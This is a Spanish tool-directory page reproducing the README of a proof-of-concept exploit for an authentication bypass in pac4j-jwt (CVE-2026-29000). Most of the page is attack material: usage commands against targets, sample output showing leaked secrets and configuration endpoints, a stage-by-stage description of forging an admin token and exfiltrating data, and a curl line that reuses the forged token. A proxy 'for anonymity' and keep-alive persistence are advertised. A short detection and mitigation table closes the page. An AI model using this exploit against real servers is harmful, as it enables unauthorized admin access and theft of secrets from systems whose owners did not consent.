Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2026-29000-PoC-Exploit — CVE-2026-29000 – Bypass de autenticación en pac4j-jwt (🔥 CVSS 10.0). Forja de administrador con un solo clic mediante envoltura JWE con clave pública. Filtra configuraciones, usuarios y secretos. Keep-alive, proxy, JWKS personalizado.⚙️ Herramienta educativa de PoC de explotación. | Kitploit
Herramientas/GitHubGitHub/tc4dy/cve-2026-29000-poc-exploit
Autenticación y AutorizaciónGeneración de PayloadsAnálisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebRecopilación de InformaciónPruebas de PenetraciónAprendizaje y EducaciónRed Teaming

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
GitHubtc4dy/cve-2026-29000-poc-exploit

CVE-2026-29000-PoC-Exploit

Ver Repositorio
3hace 2 mesesAún no revisado

Acerca de

CVE-2026-29000 – Bypass de autenticación en pac4j-jwt (🔥 CVSS 10.0). Forja de administrador con un solo clic mediante envoltura JWE con clave pública. Filtra configuraciones, usuarios y secretos. Keep-alive, proxy, JWKS personalizado.⚙️ Herramienta educativa de PoC de explotación.

Compartir

🚀 CVE-2026-29000 - Exploit de bypass de autenticación en pac4j-jwt

Python CVSS License Pentesting

CVE-2026-29000 - Forja de administrador con un clic mediante JWT alg:none + cifrado JWE

📌 Resumen

Este exploit aprovecha CVE-2026-29000, una vulnerabilidad crítica con CVSS 10.0 en la librería pac4j-jwt. Al extraer la clave pública JWKS del servidor y forjar un token JWE cifrado con alg: none, logra un bypass total de la autenticación y otorga privilegios administrativos completos con un solo clic.

🔥 Características principales

  • ✅ Sin autenticación requerida - Explotación pre-autenticación, no se necesitan credenciales válidas
  • ✅ Detección automática de JWKS - Escanea más de 15 endpoints, soporte de rutas personalizadas
  • ✅ Extracción de clave RSA - Obtiene la clave pública y convierte JWK→PEM sobre la marcha
  • ✅ Forja de JWT + JWE - Crea un JWT con alg:none y lo envuelve con la clave pública del servidor
  • ✅ Token de administrador completo - ROLE_ADMIN, admin:true, caducidad configurable
  • ✅ Bypass de autenticación - Prueba automáticamente más de 8 endpoints protegidos
  • ✅ Fuga de información inteligente - Enumera más de 20 rutas API sensibles
  • ✅ Persistencia de sesión - Un hilo keep-alive mantiene el acceso
  • ✅ Soporte de proxy - Proxy HTTP/HTTPS para mantener el anonimato
  • ✅ Exportación a archivos - Guarda el token forjado y los datos filtrados en archivos
  • ✅ Mecanismo de reintentos - Reintentos configurables para conexiones inestables
  • ✅ Salida con colores - Retroalimentación visual profesional por etapas
  • ✅ Modo verboso - Registro de depuración para solucionar problemas
  • ✅ Sin retrasos codificados - Solo backoff de reintentos y pings keep-alive

🎯 Versiones vulnerables

LibreríaVersiones afectadasVersiones parcheadas
pac4j-jwt< 5.1.5≥ 5.1.5
pac4j-jwt4.x < 4.5.8≥ 4.5.8
pac4j-jwt3.x < 3.18.6≥ 3.18.6

⚠️ Aviso legal: Esta herramienta es únicamente para pruebas de seguridad autorizadas y ejercicios de red team.

📦 Instalación

root@kitploit:~
git clone https://github.com/tc4dy/CVE-2026-29000-PoC-Exploit.git
cd CVE-2026-29000-PoC-Exploit
pip install -r requirements.txt
python exploit.py --help

requirements.txt:
text

requests>=2.31.0
urllib3>=2.0.0
pyjwt>=2.8.0
cryptography>=41.0.0
jwcrypto>=1.5.0
colorama>=0.4.6

🚀 Uso
Exploit básico de un solo disparo
bash

python exploit.py --target https://victim.com:8443

Guardar token forjado + datos filtrados
bash

python exploit.py -t https://target.corp:9443 -o admin.jwe -l stolen.txt

Modo verboso con JWKS personalizado
bash

python exploit.py -t https://example.com:8080 --jwks /oauth/jwks.json -v

Con proxy y sin keep-alive
bash

python exploit.py -t https://192.168.1.100:443 --proxy http://127.0.0.1:8080 --no-keep-alive

Intervalo de keep-alive personalizado
bash

python exploit.py -t https://victim.com:8443 --delay 10 --max-retries 5

Verificación SSL habilitada
bash

python exploit.py -t https://legit.com:8443 --ssl-verify

⚙️ Argumentos de línea de comandos
Argumento	Corto	Requerido	Por defecto	Descripción
--target	-t	Sí	-	URL objetivo (p. ej., https://example.com:8443)
--jwks	-k	No	auto-detección	Ruta personalizada del endpoint JWKS
--output	-o	No	Ninguno	Guardar token JWE forjado en un archivo
--leak	-l	No	leaked_TIMESTAMP.txt	Guardar datos filtrados en un archivo
--verbose	-v	No	False	Habilitar salida de depuración
--proxy	-p	No	Ninguno	Proxy HTTP/HTTPS
--user-agent	-ua	No	Mozilla/5.0...	User-Agent personalizado
--no-keep-alive	-	No	False	Deshabilitar keep-alive de sesión
--delay	-	No	5.0	Intervalo de ping keep-alive (segundos)
--max-retries	-	No	3	Máximo de reintentos por petición fallida
--ssl-verify	-	No	False	Verificar certificados SSL

📸 Ejemplo de salida
text

$ python exploit.py -t https://10.10.10.100:8443 -o backdoor.jwe -l leak.txt

╔══════════════════════════════════════════════════════════════════════════════╗
║     CVE-2026-29000 - pac4j-jwt Authentication Bypass Exploit                 ║
║                    The Educational One‑Click Admin Forge                     ║
║                            CVSS 10.0 - CRITICAL                              ║
╚══════════════════════════════════════════════════════════════════════════════╝

[11:23:15] STAGE 1: Acquiring RSA public key from JWKS
[11:23:15] Probing for JWKS endpoint...
[11:23:16] Found JWKS at /realms/master/protocol/openid-connect/certs
[11:23:16] Successfully extracted RSA public key

[11:23:16] STAGE 2: Crafting JWT with alg:none & encrypting into JWE
[11:23:16] Forged JWE token (truncated): eyJhbGciOiJSU0EtT0FFUC0yNTYiLCJlbmMiOiJBMjU2R0...
[11:23:16] ✓ Token saved to backdoor.jwe

[11:23:16] STAGE 3: Sending forged JWE as Bearer token
[11:23:17] ✓ Authentication successful! Access granted to /api/users/me

[11:23:17] STAGE 4: Enumerating accessible endpoints & revealing sensitive data
[11:23:18] ✓ Leaked: /actuator/env (status 200)
[11:23:18] ✓ Leaked: /api/users (status 200)
[11:23:18] ✓ Leaked: /api/secrets (status 200)
[11:23:18] ✓ Leaked: /config/server (status 200)
[11:23:18] ✓ Captured 4 sensitive endpoints → saved to leak.txt

[11:23:18] Keep‑alive session active (Ctrl+C to stop)
[11:23:18] Token (JWE) valid for ~1 hour – reforge if expired

🧠 Cómo funciona
text

┌─────────────────────────────────────────────────────────────────┐
│  STAGE 1: Public Key Acquisition                                │
│  ├── Discover JWKS endpoint (15+ known paths)                  │
│  ├── Fetch JWK containing RSA public key                       │
│  └── Convert JWK → PEM format                                   │
├─────────────────────────────────────────────────────────────────┤
│  STAGE 2: Token Forging                                         │
│  ├── Create JWT with alg: "none"                               │
│  ├── Inject admin claims (ROLE_ADMIN, admin: true)             │
│  └── Encrypt JWT into JWE using server's public key            │
├─────────────────────────────────────────────────────────────────┤
│  STAGE 3: Authentication Bypass                                 │
│  ├── Send JWE as Bearer token                                   │
│  ├── Test 8+ protected endpoints                               │
│  └── Extract session cookie                                     │
├─────────────────────────────────────────────────────────────────┤
│  STAGE 4: Information Exfiltration                              │
│  ├── Enumerate 20+ sensitive API paths                         │
│  ├── Collect configs, users, secrets, environment              │
│  └── Save all to leak file                                      │
├─────────────────────────────────────────────────────────────────┤
│  Keep-Alive: Ping /api/ping every N seconds                     │
└─────────────────────────────────────────────────────────────────┘

🔧 Uso manual del token

Tras la explotación, use el token JWE guardado con curl:
bash

curl -H "Authorization: Bearer $(cat backdoor.jwe)" https://target.com/api/admin/users

🛡️ Detección y mitigación
Método de detección	Indicador
Análisis de registros	JWT con alg: none en registros de auditoría
Monitoreo de red	Solicitudes al endpoint JWKS desde IP desconocidas
Verificación de versión	curl /actuator/info | grep pac4j

Mitigación:

    Actualice pac4j-jwt a las versiones parcheadas (≥5.1.5, ≥4.5.8, ≥3.18.6)

    Deshabilite el soporte de alg: none en el validador JWT

    Implemente una validación estricta de JWE

    Supervise la presencia de estructuras JWT anómalas
Descargar herramienta